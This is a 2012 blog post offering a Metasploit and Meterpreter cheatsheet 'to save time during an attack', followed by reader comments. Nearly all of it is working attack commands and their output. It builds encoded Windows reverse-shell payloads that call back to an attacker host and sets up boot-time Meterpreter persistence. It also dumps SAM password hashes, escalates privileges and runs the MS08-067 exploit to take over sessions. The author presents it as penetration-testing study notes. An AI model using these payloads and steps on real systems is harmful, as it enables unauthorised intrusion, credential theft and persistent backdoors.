22nd February 2012

Metasploit and Meterpreter - a cheatsheet

This is a work in progress, additions, suggestions and constructive feedback are welcome.

The purpose of these cheatsheets is to, essentially, save time during an attack.

Metasploit Framework - Payload Encoding

List all available payloads and search for windows reverse tcp shells*msfpayload -l | grep windows | grep shell | grep reverse | tcp*

List available encoders

msfencode -l

Reverse self-contained (not staged) command shell: 341 bytes

msfpayload windows/shell_reverse_tcp LHOST=192.168.6.1 R | msfencode -e x86/shikata_ga_nai -b '\x00\x0a\x0b\x0d\x90' -t c

msfpayload windows/shell_reverse_tcp LHOST=192.168.6.1 R | msfencode -e x86/shikata_ga_nai -b '\x00\x0a\x0b\x0d\x90' -t c

Windows Command Shell, reverse Ordinal TCP Stager (Np NX or Win7)

Use msf multi/handler to listen and upload remainder of the shellcode (stage 2)

msfpayload windows/shell/reverse_ord_tcp LHOST=192.168.6.1 R | msfencode -e x86/shikata_ga_nai -b '\x00\x0a\x0b\x0d\x90' -t c

Generic Syntax

msfpayload <payload> <options> <output>| ./msfencode -e <encoder> -b <bad bytes> -t <output format>

Metasploit Framwork and Databases

Setting up the database

msf> db_driver mysql

msf> db_connect user:password@host/database

msf> db_status

Importing external scan results into the database

Importing - Nmap scans into the MSF database

msf> db_import */path/filename.xml*

(keep in mind externally scanning and importing xml results can be faster than executing nmap within msf (below))

Import - Nessus scans into the MSF database

msf> db_import /path/filename.nessus

Import - NeXpose scans into the MSF database

msf> db_import */path/filename*.xml

Running an Nmap scan within MSF to add to the database

msf> db_nmap -sS -A <hosts>

or

msf> db_nmap -sSV -O -PN --send-ip <hosts>

Running NeXpose from within MSF

msf> load nexpose

msf> nexpose_connect username:password@host[:port]

msf> nexpose_scan

Running Nessus from within MSF

msf> load nessus

msf> nessus_connect username:password@host[:port]

msf> nessus_policy_list

msf> nessus_scan_new

msf> nessus_scan_status

msf> nessus_report_list

msf> nessus_report_get

Retrieving data from the database from within MSF

List of discovered services

msf> db_services

or

List of discovered hosts

msf> db_hosts

or

List of discovered hosts with additional columns "address" and "operating system"

msf> db_hosts -c address,os_flavor

or

List of discovered vulnerabilities (e.g. as imported from vulnerability scanner like nessus)

msf> db_vulns

Retrieving data from the database from within MySQL

Retrieve hosts and associated services:*mysql> select address,hosts.name,os_name,os_flavor,os_sp,hosts.updated_at,port,proto,services.name,services.info from hosts,services where hosts.id=services.host_id;*

Retrieve matching 'pc21-97.*' hosts and associated services:

mysql> select address,hosts.name,os_name,os_flavor,os_sp,hosts.updated_at,port,proto,services.name,services.info from hosts,services where hosts.name LIKE 'pc21-97.%' and hosts.id=services.host_id;

Retrieve matching '*.97' hosts and associated services:

mysql> select address,hosts.name,os_name,os_flavor,os_sp,hosts.updated_at,port,proto,services.name,services.info from hosts,services where hosts.address LIKE '%.97' and hosts.id=services.host_id;

Service Scanners - SSH Server Banner Scanner

msf > use auxiliary/scanner/ssh/ssh_version

msf auxiliary(ssh_version) > set RHOSTS 192.168.1.0/24

msf auxiliary(ssh_version) > set THREADS 20

msf auxiliary(ssh_version) > run

[*] 192.168.1.22 :22, SSH server version: SSH-2.0-OpenSSH_5.1p1 Debian-3ubuntu1

... ...

Service Scanners - MSSQL Scanner

msf > use auxiliary/scanner/mssql/mssql_ping

msf auxiliary(mssql_ping) > set RHOSTS 192.168.1.0/24

msf auxiliary(mssql_ping) > set THREADS 20

msf auxiliary(mssql_ping) > run

[*] 192.168.1.143 SQL Server information for :

[*] 192.168.1.143 ServerName = V-XPSP2-BARE

[*] 192.168.1.143 InstanceName = SQLEXPRESS

[*] 192.168.1.143 IsClustered = No

[*] 192.168.1.143 Version = 10.0.1600.22

[*] 192.168.1.143 tcp = 1433

Service Scanners - SMB Version Scanner

msf > use auxiliary/scanner/smb/smb_version

msf auxiliary(smb_version) > set RHOSTS

msf auxiliary(smb_version) > run

[*] 192.168.1.143 is running Windows XP Service Pack 2 (language: English)

(name:HOSTNAME) (domain:WORKGROUP)

... ...

Service Scanners - SNMP login scanner

msf> use auxiliary/scanner/snmp/snmp_login

... ...

Meterpreter Scripts - Persistence

meterpreter > run persistence -X -i 50 -p 443 -r

at boot time (-X), interval seconds (-i), port (-p 443) and reverse (-r)

msf> use multi/handler

msf exploit(handler) > set payload windows/meterpreter/reverse_tcp

msf exploit(handler) > set LPORT 443

msf exploit(handler) > set LHOST 192.168.1.1

msf exploit(handler) > exploit

[*] Meterpreter session 2 opened (:443 -> :1120)

Metasploit Meterpreter Post Exploitation Modules

Hashdump - The 'hashdump' post module will dump the contents of the SAM database. *meterpreter > run post/windows/gather/hashdump* or *meterpreter > hashdump*
Occasionally, the effective process does not have access or permission

to retrieve the hashes - even if the meterpreter running as a SYSTEM or ADMINISTRATOR user.
Access can sometimes be achieved by ensuring all permissions are granted to the process, migrating to a process spawned by a SYSTEM user or in the case of x64 systems, making sure that the running process is natively x64 bit (e.g. notepad.exe) and not compatible 32 bit.

meterpreter > hashdump

[-] priv_passwd_get_sam_hashes: Operation failed: The parameter is incorrect.

List running processes and owners (where visible by the current user)

meterpreter > ps

Get system user if necessary and if possible

meterpreter > getsystem

Get all missing/available privileges for the current process

meterpreter > getprivs

Migrate to new process and attempt again

meterpreter > migrate

Meterpreter Scripts - System Scraper

meterpreter > run scraper

Upgrading command shell to meterpreter shell

msf > use windows/smb/ms08_067_netapi

... ...

msf exploit(ms08_067_netapi) > exploit -z

... ...

[*] Command shell session 1 opened (:8080 -> :1032)

[*] Session 1 created in the background.

msf exploit(ms08_067_netapi) > sessions -u 1

... ...

[*] Meterpreter session 2 opened (:8080 -> :1044)

msf exploit(ms08_067_netapi) > sessions -i 2

References include:

http://nostarch.com/metasploit [http://nostarch.com/metasploit]

Posted 22nd February 2012 by Tim Arneaud

Labels: auxiliary, cheatsheet, encode, hashdump, metasploit, msf, msfconsole, msfpayload, mysql, nessus, post, post exploitation, security

3 View comments

Jordan Schroeder Wednesday, 9 May 2012 at 19:17:00 BST

You have a bunch of these cheatsheets and I love em! Could you create a 'cheatsheet' tag so that they can be grouped in search?

Did you use these during your class (i.e. are they verified) or are they only collections of things pulled together from various sources?

Reply

ovid Monday, 14 May 2012 at 02:25:00 BST

Hi Jordan,
Very glad you like them. It was useful for getting my head into gear for taking PWB and other uses. Everything here is useless without knowledge on appropriate application, of course.
Most of the commands/entries were tested before inclusion, but there are some here and there that were not fully tested (e.g. all vnc registry entries).
Your mileage may vary but I will try to keep these up-to-date as I play with things. References are included also where possible and there's no point in me duplicating others awesome work (i.e. g0tmi1k's sheets.) Tag: cheetsheet added.
Thanks for your feedback!

Reply

Alone Tuesday, 15 May 2012 at 04:01:00 BST

Nice work man. Keep it up,

actually this video is also good. I mean i learned lots things about meterpreter.
Maybe you like it.
http://www.securitytube.net/video/2637
HaPPY Hacking

Reply

Enter your comment...

Comment as: Google Accou ▼

Publish Preview